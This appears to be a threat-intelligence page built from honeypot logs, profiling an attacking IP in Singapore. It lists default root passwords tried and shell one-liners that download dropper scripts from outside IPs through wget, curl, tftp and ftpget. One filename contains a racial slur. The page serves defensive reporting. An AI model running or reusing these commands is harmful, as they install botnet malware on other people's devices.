Active Threat • MEDIUM

176.65.139.16

Country of Origin🇸🇬 Singapore

First Detection1/31/2026

Last Activity2/10/2026

ISPOVH SAS

🎯

Total Attacks

🔌

Ports

📡

Attack Types

🦠

Malware

Geolocation

Country: 🇸🇬 Singapore
City: Unknown
ASN: AS16276
ISP: OVH SAS

Attack Types

cowrie

Attacked Ports

Associated Malware

7e911333f1bdcf196389...→b30cdbe96b4b0000c13c...→c08daf9c16247b97ba3f...→

Attempted Credentials

🔐root/root

🔐root/1234

Executed Commands

$uname -m3x

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://48.200.96.137:8080/ez_nigger_xdd.sh || curl -O http://48.200.96.137:8080/ez_nigger_xdd.sh || busybox wget http://48.200.96.137:8080/ez_nigger_xdd.sh || busybox tftp 48.200.96.137 -c get ez_nigger_xdd.sh || busybox tftp -r ez_nigger_xdd.sh -g 48.200.96.137 -l ez_nigger_xdd.sh || busybox ftpget -v -u anonymous -p anonymous -P 21 48.200.96.137 ez_nigger_xdd.sh ez_nigger_xdd.sh || tftp 48.200.96.137 -c get ez_nigger_xdd.sh || tftp -r

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://48.200.96.137:666/payload.sh || curl -O http://48.200.96.137:666/payload.sh || busybox wget http://48.200.96.137:666/payload.sh || busybox tftp 48.200.96.137 -c get payload.sh || busybox tftp -r payload.sh -g 48.200.96.137 -l payload.sh || busybox ftpget -v -u anonymous -p anonymous -P 21 48.200.96.137 payload.sh payload.sh || tftp 48.200.96.137 -c get payload.sh || tftp -r payload.sh -g 48.200.96.137 -l payload.sh || ftpget -v -u

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;wget http://160.187.246.23/all.sh || curl -O http://160.187.246.23/all.sh || busybox wget http://160.187.246.23/all.sh || busybox tftp 160.187.246.23 -c get all.sh || busybox tftp -r all.sh -g 160.187.246.23 -l all.sh || busybox ftpget -v -u anonymous -p anonymous -P 21 160.187.246.23 all.sh all.sh || tftp 160.187.246.23 -c get all.sh || tftp -r all.sh -g 160.187.246.23 -l all.sh || ftpget -v -u anonymous -p anonymous -P 21 160.187.246.23 all

Risk Assessment

/100

LowMediumHighCritical